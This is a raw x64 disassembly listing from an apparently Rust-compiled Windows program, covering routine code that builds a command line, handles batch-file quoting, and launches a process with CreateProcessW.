test sil, sil
je 0x140087ad8
jmp 0x140087c46
mov rax, rcx
mov edi, 2
xor r14d, r14d
xor ebx, ebx
cmp byte [rax + 0x88], 2
jne 0x14008933f
xor r12d, r12d
mov eax, 2
mov qword [rbp + 0x450], rax
xor eax, eax
mov qword [rbp + 0x568], rax
jmp 0x1400894c1
movzx eax, word [r8 + r9*2 - 8]
lea ecx, [rax - 0x42]
cmp ecx, 0x21
ja case.0x140088c0a.2
lea rdx, [0x1400f0cfc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movzx ecx, word [r8 + r9*2 - 6]
or ecx, 0x20
cmp ecx, 0x61
jne 0x140088c28
movzx ecx, word [r8 + r9*2 - 4]
or ecx, 0x20
cmp ecx, 0x74
je 0x140088c58
cmp ax, 0x43
jne case.0x140088c0a.2
movzx eax, word [r8 + r9*2 - 6]
or eax, 0x20
cmp eax, 0x6d
jne case.0x140088c0a.2
movzx eax, word [r8 + r9*2 - 4]
add eax, 0xffffffbc
test eax, 0xffdf
jne case.0x140088c0a.2
mov qword [rbp + 0x598], r9
mov qword [rbp + 0x500], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x508], xmm0
mov eax, 0x200
mov ecx, 2
mov qword [rbp + 0x5a8], rcx
xor edi, edi
xor esi, esi
xor ebx, ebx
cmp rax, 0x201
jb 0x140088ca5
jmp 0x140088cb4
jae 0x140089264
cmp rax, 0x201
jae 0x140088cb4
mov r15d, 0x200
lea r14, [rbp - 0x10]
mov r12, rax
jmp 0x140088d0e
sub rax, rbx
sub rsi, rbx
cmp rsi, rax
jae 0x140088ce6
lea rcx, [rbp + 0x500]
mov rdx, rbx
mov r8, rax
call fcn.1400ae520
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x5a8], rax
mov rdi, qword [rbp + 0x508]
mov eax, 0xffffffff
cmp rdi, rax
mov ebx, 0xffffffff
cmovb rbx, rdi
mov qword [rbp + 0x510], rbx
mov rsi, rdi
mov r15, rbx
mov r14, qword [rbp + 0x5a8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r14
mov edx, r12d
call qword [sym.imp.kernel32.dll_GetSystemDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140088d37
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400892e4
mov eax, r13d
cmp r12, rax
jne 0x140088c97
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008a4c0
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov rax, r12
cmp rax, 0x201
jae 0x140088cb4
jmp 0x140088ca5
mov byte [rbp + 0x5e4], 1
lea rcx, [rbp + 0x578]
xor edx, edx
call fcn.140010890
mov r15, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
mov word [r15 + r12*2], 0
inc r12
mov qword [rbp + 0x588], r12
xor eax, eax
test rsi, rsi
setne al
cmove rbx, rsi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
mov qword [rbp], rsi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rbx
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
call fcn.140086950
mov r14d, r13d
mov rcx, qword [rbp + 0x500]
test rcx, rcx
je 0x1400892a2
mov r9, qword [rbp + 0x510]
imul rdx, r9, 0x38
cmp byte [rcx + rdx + 0x198], 2
je 0x1400892a2
mov rax, qword [rcx + rdx + 0x168]
mov qword [rbp + 0x570], rax
mov rax, qword [rcx + rdx + 0x170]
mov qword [rbp + 0x598], rax
mov rdi, qword [rcx + rdx + 0x178]
mov r8, qword [rcx + rdx + 0x180]
mov rax, qword [rcx + rdx + 0x188]
shl r9, 5
mov r10, qword [rcx + r9]
mov qword [rbp + 0x5c8], r10
mov r10, qword [rcx + r9 + 8]
mov qword [rbp + 0x568], r10
mov r13, qword [rcx + r9 + 0x10]
movzx r9d, byte [rcx + r9 + 0x18]
mov byte [rbp + 0x450], r9b
mov rcx, qword [rcx + rdx + 0x190]
add rcx, r8
xor r11d, r11d
mov rdx, r8
jmp 0x140088ead
xor r11d, r11d
test r9w, r9w
je 0x1400891ad
mov r9w, 1
test r11w, r11w
jne 0x140088ea0
cmp rdx, rcx
je 0x140088f68
movzx ebx, byte [rdx]
movzx r10d, bl
test r10b, r10b
js 0x140088ed2
inc rdx
jmp 0x140088f33
mov r11d, r10d
and r11d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r10b, 0xdf
jbe 0x140088f25
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp bl, 0xf0
jb 0x140088f3e
movzx esi, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and esi, 0x3f
or esi, r10d
or esi, r11d
mov r10d, esi
cmp r10d, 0xffff
jbe 0x140088f33
jmp 0x140088f52
add rdx, 2
shl r11d, 6
or r11d, esi
mov r10d, r11d
xor r11d, r11d
mov r9d, r10d
jmp 0x140088ea3
add rdx, 3
shl r11d, 0xc
or r10d, r11d
cmp r10d, 0xffff
jbe 0x140088f33
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x140088ea3
test rax, rax
je 0x140088f7c
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x580]
sub rax, r12
cmp rax, rdi
jae 0x140088fab
lea rcx, [rbp + 0x578]
mov rdx, r12
mov r8, rdi
call fcn.1400ae520
mov r15, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
lea r8, [rdi + rdi]
mov rsi, r15
lea rcx, [r15 + r12*2]
mov rbx, qword [rbp + 0x570]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0x588], r12
cmp qword [rbp + 0x598], 0
je 0x140088feb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r12, qword [rbp + 0x580]
jne 0x140089018
mov byte [rbp + 0x5d6], 1
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010890
mov rsi, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
mov word [rsi + r12*2], 0x3d
inc r12
mov qword [rbp + 0x588], r12
mov rbx, qword [rbp + 0x5c8]
add r13, rbx
xor r8d, r8d
mov rax, rbx
jmp 0x140089047
xor r8d, r8d
test cx, cx
je 0x140089255
mov cx, 1
test r8w, r8w
jne 0x14008903b
cmp rax, r13
je 0x1400890fb
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x14008906e
inc rax
jmp 0x1400890f1
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400890ba
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x1400890ca
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
jmp 0x1400890d5
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
jmp 0x1400890f1
add rax, 3
shl r8d, 0xc
or edx, r8d
cmp edx, 0xffff
jbe 0x1400890f1
and edx, 0x3ff
or edx, 0xdc00
mov r8d, edx
jmp 0x14008903e
xor r8d, r8d
mov ecx, edx
jmp 0x14008903e
cmp byte [rbp + 0x450], 2
je 0x14008a25a
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], r13
mov word [rbp + 0x470], 0
lea rcx, [rbp + 0x578]
lea rdx, [rbp + 0x460]
call fcn.14007c210
cmp qword [rbp + 0x568], 0
mov r13d, r14d
je 0x140089155
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rbp + 0x588]
cmp r12, qword [rbp + 0x580]
jne 0x140089185
mov byte [rbp + 0x5d6], 0
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010890
mov r12, qword [rbp + 0x588]
mov r13d, r14d
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
mov r15, qword [rbp + 0x578]
mov word [r15 + r12*2], 0
inc r12
mov qword [rbp + 0x588], r12
jmp 0x140088dec
test rax, rax
je 0x1400891c1
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x568], 0
mov r13d, r14d
mov r8, qword [rbp + 0x5c8]
mov rbx, qword [rbp + 0x570]
je 0x1400891eb
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x598], 0
je 0x140089207
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, str.nul_byte_found_in_provided_data
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp - 0x10]
call fcn.14008b880
cmp qword [rbp + 0x580], 0
je 0x14008923e
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
jmp 0x14008a1f0
cmp qword [rbp + 0x568], 0
mov r13d, r14d
jne 0x1400891f5
jmp 0x140089207
cmp r15, rax
jb 0x14008a516
test r13d, r13d
je 0x140089643
mov rsi, rax
lea rbx, [rax + rax]
movzx eax, byte [0x1400f92c0]
mov edx, 2
mov rcx, rbx
call fcn.1400515f0
test rax, rax
je 0x14008a542
mov r13, rax
jmp 0x14008964e
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp - 0x10]
call fcn.14008b880
mov r13d, r14d
cmp r12, qword [rbp + 0x580]
jne 0x140089303
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010890
mov rbx, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
jmp 0x140089306
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
xor r13d, r13d
jmp 0x14008965f
mov rbx, r15
mov word [rbx + r12*2], 0
mov rdi, qword [rbp + 0x578]
test rdi, rdi
mov rax, qword [rbp + 0x4d8]
mov r15d, dword [rbp + 0x430]
je 0x14008923e
mov r14, qword [rbp + 0x580]
cmp byte [rax + 0x88], 2
je 0x140088bcd
mov rcx, rax
mov rax, qword [rax + 0x70]
mov rcx, qword [rcx + 0x80]
add rcx, rax
xor r10d, r10d
mov rdx, rax
jmp 0x140089365
xor r10d, r10d
test r8w, r8w
je 0x140089420
mov r8w, 1
test r10w, r10w
jne 0x140089358
cmp rdx, rcx
je 0x14008943e
movzx r11d, byte [rdx]
movzx r9d, r11b
test r9b, r9b
js 0x14008938e
inc rdx
jmp 0x140089415
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r9b, 0xdf
jbe 0x1400893db
movzx r9d, byte [rdx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x1400893eb
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl r9d, 6
and r11d, 0x3f
or r11d, r9d
or r11d, r10d
mov r9d, r11d
jmp 0x1400893f6
add rdx, 2
shl r10d, 6
or r10d, esi
mov r9d, r10d
jmp 0x140089415
add rdx, 3
shl r10d, 0xc
or r9d, r10d
cmp r9d, 0xffff
jbe 0x140089415
and r9d, 0x3ff
or r9d, 0xdc00
mov r10d, r9d
jmp 0x14008935b
xor r10d, r10d
mov r8d, r9d
jmp 0x14008935b
lea rax, str.nul_byte_found_in_provided_data
mov rcx, qword [rbp + 0x4f8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
jmp 0x14008a1d9
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x570], rdi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
mov word [rbp], 0
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
call fcn.14008b950
mov rax, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
cmp rdx, rax
jne 0x140089497
lea rcx, [rbp + 0x500]
call fcn.140010890
mov rax, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
mov qword [rbp + 0x568], rax
mov r12, qword [rbp + 0x500]
mov word [r12 + rdx*2], 0
mov qword [rbp + 0x450], r12
mov rdi, qword [rbp + 0x570]
mov r14, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x570], rdi
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], 0
lea rdi, [0x1400f9208]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400f9290]
shl rax, 1
mov r14d, r13d
test rax, rax
jne 0x140089d65
xor esi, esi
mov r13b, byte [0x1400f9210]
xor eax, eax
test r13b, r13b
setne al
mov qword [rbp + 0x580], rdi
mov byte [rbp + 0x588], sil
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x460], 0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x480], 0
mov dword [rbp - 0x30], 2
cmp byte [rbp + 0x458], 0
lea rcx, [rbp - 0x30]
mov rax, qword [rbp + 0x448]
cmovne rcx, rax
mov rdx, qword [rbp + 0x4d8]
cmp dword [rdx], 6
cmovne rcx, rdx
cmp dword [rdx + 0x10], 6
lea rbx, [rdx + 0x10]
cmove rbx, rax
lea rdi, [rdx + 0x20]
cmp dword [rdx + 0x20], 6
cmove rdi, rax
lea r8, [rbp + 0x460]
mov edx, 0xfffffff6
call fcn.14008e190
mov qword [rbp + 0x598], rdx
test rax, rax
je 0x1400895d8
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x598]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
jmp 0x14008a13b
lea r8, [rbp + 0x470]
mov rcx, rbx
mov edx, 0xfffffff5
call fcn.14008e190
test rax, rax
je 0x140089608
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x14008a12e
mov qword [rbp + 0x458], rdx
lea r8, [rbp + 0x480]
mov rcx, rdi
mov edx, 0xfffffff4
call fcn.14008e190
test rax, rax
je 0x140089d75
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x14008a121
mov rsi, rax
mov r13d, 2
xor ebx, ebx
mov rcx, r13
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
test rdi, rdi
je 0x140089680
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
test r13, r13
je 0x140089a10
mov qword [rbp + 0x460], r13
mov qword [rbp + 0x468], rax
mov rbx, rax
mov qword [rbp + 0x470], rax
lea r12, [0x1400ea47b]
xor r8d, r8d
lea rdi, [rbp + 0x460]
xor ecx, ecx
jmp 0x1400896d7
mov rax, rbx
mov r15d, ecx
mov r14, r8
mov word [r13 + rax*2], r15w
inc rax
mov rbx, rax
mov qword [rbp + 0x470], rax
mov r8, r14
mov ecx, esi
test r12, r12
je 0x140089752
test cx, cx
je 0x1400896e8
xor esi, esi
jmp 0x1400897ce
lea rax, [0x1400ea483]
cmp r12, rax
je 0x140089752
movzx r10d, byte [r12]
movzx eax, r10b
test al, al
js 0x140089709
inc r12
jmp 0x1400897ca
mov edx, eax
and edx, 0x1f
movzx r11d, byte [r12 + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x140089785
movzx r9d, byte [r12 + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140089793
movzx eax, byte [r12 + 3]
and edx, 7
shl edx, 0x12
shl r9d, 6
and eax, 0x3f
or eax, r9d
or eax, edx
cmp eax, 0x110000
jne 0x1400897a2
cmp r8, 1
je 0x140089830
mov r14d, 1
xor r12d, r12d
xor r15d, r15d
mov rax, rbx
cmp rbx, qword [rbp + 0x468]
jne 0x14008977e
neg r8
mov esi, ecx
jmp 0x140089813
mov esi, ecx
jmp 0x1400896bf
add r12, 2
shl edx, 6
or edx, r11d
mov eax, edx
jmp 0x1400897ca
add r12, 3
shl edx, 0xc
or r9d, edx
mov eax, r9d
jmp 0x1400897a6
add r12, 4
cmp eax, 0xffff
jbe 0x1400897ca
lea ecx, [rax + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and eax, 0x3ff
or eax, 0xdc00
mov esi, eax
jmp 0x1400897ce
xor esi, esi
mov ecx, eax
cmp rbx, qword [rbp + 0x468]
jne 0x1400896b6
lea rax, [0x1400ea47b]
sub rax, r12
add rax, 0xa
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rbx
mov r14, r8
shr rdx, 1
cmp si, 1
adc r8, 0xffffffffffffffff
sub rdx, r8
inc rdx
mov r15d, ecx
mov r8, rdx
inc r8
mov rcx, rdi
mov rdx, rax
call fcn.1400ae520
mov r13, qword [rbp + 0x460]
mov rax, rbx
jmp 0x1400896bf
mov rcx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x5b0], rcx
test rcx, rcx
mov rcx, qword [rbp + 0x4d8]
je 0x140089a10
mov qword [rbp + 0x5a8], rax
movzx eax, byte [rcx + 0xc5]
mov byte [rbp + 0x570], al
test al, al
setne byte [rbp + 0x5c8]
mov al, 1
test al, al
je 0x14008a52a
mov rax, qword [rcx + 0x90]
mov qword [rbp + 0x568], rax
mov rax, qword [rcx + 0xa0]
mov qword [rbp + 0x440], rax
movzx eax, byte [0x1400f92c0]
mov ecx, 0xc
mov edx, 2
call fcn.1400515f0
test rax, rax
je 0x14008a531
mov ecx, 6
mov word [rax], 0x63
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
mov qword [rbp], 1
lea r15, [0x1400e9f29]
mov edi, 1
xor r14d, r14d
lea r12, [0x1400e9f37]
lea r13, [0x1400e9f28]
lea rbx, [rbp - 0x10]
jmp 0x140089907
mov rax, qword [rbp - 0x10]
mov word [rax + rdi*2], r14w
inc rdi
mov qword [rbp], rdi
mov r14d, esi
test r14w, r14w
jne 0x1400899ce
cmp r15, r12
je 0x140089a22
movzx r8d, byte [r15]
movzx r14d, r8b
test r14b, r14b
js 0x14008992f
inc r15
jmp 0x1400899ce
mov ecx, r14d
and ecx, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp r14b, 0xdf
jbe 0x140089984
movzx edx, byte [r15 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140089993
movzx r14d, byte [r15 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r14d, 0x3f
or r14d, edx
or r14d, ecx
cmp r14d, 0x110000
je 0x140089a22
add r15, 4
jmp 0x14008999f
add r15, 2
shl ecx, 6
or ecx, r9d
mov r14d, ecx
jmp 0x1400899ce
add r15, 3
shl ecx, 0xc
or edx, ecx
mov r14d, edx
cmp r14d, 0xffff
jbe 0x1400899ce
lea ecx, [r14 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r14d, 0x3ff
or r14d, 0xdc00
mov esi, r14d
mov r14d, ecx
jmp 0x1400899d0
xor esi, esi
cmp rdi, qword [rbp - 8]
jne 0x1400898f8
mov rax, r13
sub rax, r15
add rax, 0x11
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp si, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov rcx, rbx
mov rdx, rdi
call fcn.1400ae520
jmp 0x1400898f4
mov rcx, rax
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rcx
jmp 0x140088b7b
mov rdi, qword [rbp]
mov qword [rbp + 0x510], rdi
movdqu xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x500], xmm0
cmp rdi, qword [rbp + 0x508]
jne 0x140089a69
lea rcx, [rbp + 0x500]
mov rdx, rdi
call fcn.140010890
mov r8, qword [rbp + 0x598]
mov rdi, qword [rbp + 0x510]
mov rdx, qword [rbp + 0x5b8]
jmp 0x140089a77
mov rdx, qword [rbp + 0x5b8]
mov r8, qword [rbp + 0x598]
mov r12, qword [rbp + 0x500]
mov word [r12 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x510], rdi
lea rax, [r8 + r8]
xor ecx, ecx
lea rbx, [0x1400e9f70]
cmp rax, rcx
je 0x140089ab1
cmp word [rdx + rcx], 0x22
lea rcx, [rcx + 2]
jne 0x140089a9c
jmp 0x140089d08
movzx eax, word [rdx + r8*2 - 2]
cmp ax, 0x5c
je 0x140089d08
lea rbx, [r8 - 1]
xor r14d, r14d
test ax, ax
cmove r14, rdx
test r14, r14
cmove rbx, r8
cmove r14, rdx
mov r15, qword [rbp + 0x508]
mov rax, r15
sub rax, rdi
cmp rax, rbx
jae 0x140089b13
lea rcx, [rbp + 0x500]
mov rdx, rdi
mov r8, rbx
call fcn.1400ae520
mov rdi, qword [rbp + 0x510]
mov r12, qword [rbp + 0x500]
mov r15, qword [rbp + 0x508]
lea r8, [rbx + rbx]
lea rcx, [r12 + rdi*2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add rdi, rbx
mov qword [rbp + 0x510], rdi
cmp rdi, r15
jne 0x140089b4f
lea rcx, [rbp + 0x500]
mov rdx, r15
call fcn.140010890
mov r12, qword [rbp + 0x500]
mov rdi, qword [rbp + 0x510]
mov word [r12 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x510], rdi
mov rax, qword [rbp + 0x440]
lea rax, [rax + rax*4]
lea r14, [0x1400e9f8f]
and r14, 0xfffffffffffffff8
lea r15, str._t____________
sub r14, r15
sete cl
cmp r14, 0x16
mov edx, 0x16
cmovae r14, rdx
mov rsi, qword [rbp + 0x568]
lea r12, [rsi + rax*8]
test r14, r14
sete r13b
or r13b, cl
lea rdi, [rbp + 0x500]
cmp rsi, r12
je 0x14008a07f
mov rbx, rsi
mov rdx, qword [rbp + 0x510]
cmp rdx, qword [rbp + 0x508]
jne 0x140089bd7
mov rcx, rdi
call fcn.140010890
mov rdx, qword [rbp + 0x510]
lea rax, [rdx + 1]
mov rcx, qword [rbp + 0x500]
mov word [rcx + rdx*2], 0x20
mov qword [rbp + 0x510], rax
movzx eax, byte [rbp + 0x5c8]
mov r8d, eax
cmp byte [rbp + 0x570], 0
jne 0x140089cea
cmp qword [rbx], 0
movzx eax, byte [rbp + 0x5c8]
mov r8d, eax
jne 0x140089cea
mov rax, qword [rbx + 8]
mov rcx, qword [rbx + 0x18]
add rcx, rax
cmp rax, rcx
je 0x140089ce2
movzx edx, byte [rax]
xor r8d, r8d
test r13b, r13b
je 0x140089c96
movzx r9d, dl
movabs r10, 0x101010101010101
imul r9, r10
mov r10, qword [r8 + r15]
xor r10, r9
movabs rsi, 0xfefefefefefefeff
lea r11, [r10 + rsi]
not r10
and r10, r11
xor r9, qword [r8 + r15 + 8]
lea r11, [r9 + rsi]
not r9
and r9, r11
or r9, r10
movabs r10, 0x8080808080808080
test r9, r10
je 0x140089caf
lea r10, [r15 + r8]
mov r9d, 0x16
sub r9, r8
jmp 0x140089cc5
cmp byte [r8 + r15], dl
je 0x140089ce7
inc r8
cmp r14, r8
jne 0x140089c96
mov r8, r14
cmp r14, 6
jbe 0x140089c39
jmp 0x140089cb3
add r8, 0x10
mov r9, r8
sub r9, 0x16
je 0x140089cd6
add r8, r15
neg r9
mov r10, r8
xor r8d, r8d
cmp byte [r10 + r8], dl
je 0x140089ce7
inc r8
cmp r9, r8
jne 0x140089cc8
inc rax
cmp rax, rcx
jne 0x140089c2e
xor r8d, r8d
jmp 0x140089cea
mov r8b, 1
mov rcx, rdi
mov rsi, rbx
mov rdx, rbx
call fcn.14008dc50
mov rbx, rax
add rsi, 0x28
test rax, rax
je 0x140089bac
cmp qword [rbp + 0x508], 0
je 0x140089d28
mov r8, qword [rbp + 0x500]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
cmp qword [rbp + 0x5a8], 0
je 0x140088b83
mov rcx, qword [0x1400f91f8]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140088b85
call fcn.1400ae5e0
mov esi, eax
xor sil, 1
jmp 0x140089515
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x534], xmm0
movdqu xmmword [rbp + 0x528], xmm0
movdqu xmmword [rbp + 0x518], xmm0
movdqu xmmword [rbp + 0x508], xmm0
movdqu xmmword [rbp + 0x548], xmm0
movdqu xmmword [rbp + 0x558], xmm0
test rdx, rdx
mov rcx, qword [rbp + 0x458]
jne 0x140089dc4
test rcx, rcx
jne 0x140089dc4
cmp qword [rbp + 0x598], 0
je 0x140089dea
mov dword [rbp + 0x53c], 0x100
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], rcx
mov qword [rbp + 0x560], rdx
mov qword [rbp + 0x438], rdx
mov rdx, qword [rbp + 0x4d8]
mov rbx, qword [rdx + 0xb8]
test rbx, rbx
je 0x140089ef0
add rdx, 0xa8
mov dword [rbp + 0x500], 0x70
lea rcx, [rbp + 0x400]
call fcn.14008eb30
mov rdi, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x408]
test rdi, rdi
je 0x14008a102
mov qword [rbp + 0x4d8], rcx
or r15d, 0x80000
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x30], xmm0
movdqu xmm0, xmmword [rbp + 0x500]
movups xmm1, xmmword [rbp + 0x510]
movups xmm2, xmmword [rbp + 0x520]
movups xmm3, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rbp + 0x58], rdi
lea rax, [rbp - 0x10]
jmp 0x140089f01
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e8618]
mov edx, 0x2b
call fcn.1400aa0a0
jmp 0x14008a54f
mov dword [rbp + 0x500], 0x68
lea rax, [rbp + 0x500]
mov rdx, qword [rbp + 0x4e0]
lea rcx, [rbp + 0x4c0]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov r15, rdx
mov dword [rsp + 0x20], 1
mov rcx, qword [rbp + 0x5b0]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x14008a0cc
movups xmm0, xmmword [rbp + 0x460]
movups xmm1, xmmword [rbp + 0x470]
movups xmm2, xmmword [rbp + 0x480]
mov rax, qword [rbp + 0x4f8]
movups xmmword [rax + 0x30], xmm2
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x4c0]
movups xmmword [rax], xmm0
test rbx, rbx
je 0x140089f9b
mov rcx, rdi
mov rdx, qword [rbp + 0x4d8]
call fcn.14008f010
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x438]
call rsi
mov rcx, qword [rbp + 0x458]
call rsi
mov rcx, qword [rbp + 0x598]
call rsi
lea rcx, [rbp + 0x578]
call fcn.14008f050
cmp qword [rbp + 0x568], 0
je 0x140089fe9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5c8], 0
mov rsi, qword [rbp + 0x448]
je 0x14008a010
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x570]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
je 0x14008a02c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5a8], 0
je 0x14008a04c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5d8], 0
sete al
or r14b, al
cmp r14b, 1
je 0x140087c4d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140087c4d
mov rdi, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
cmp rdx, rdi
jne 0x14008a0ac
lea rcx, [rbp + 0x500]
call fcn.140010890
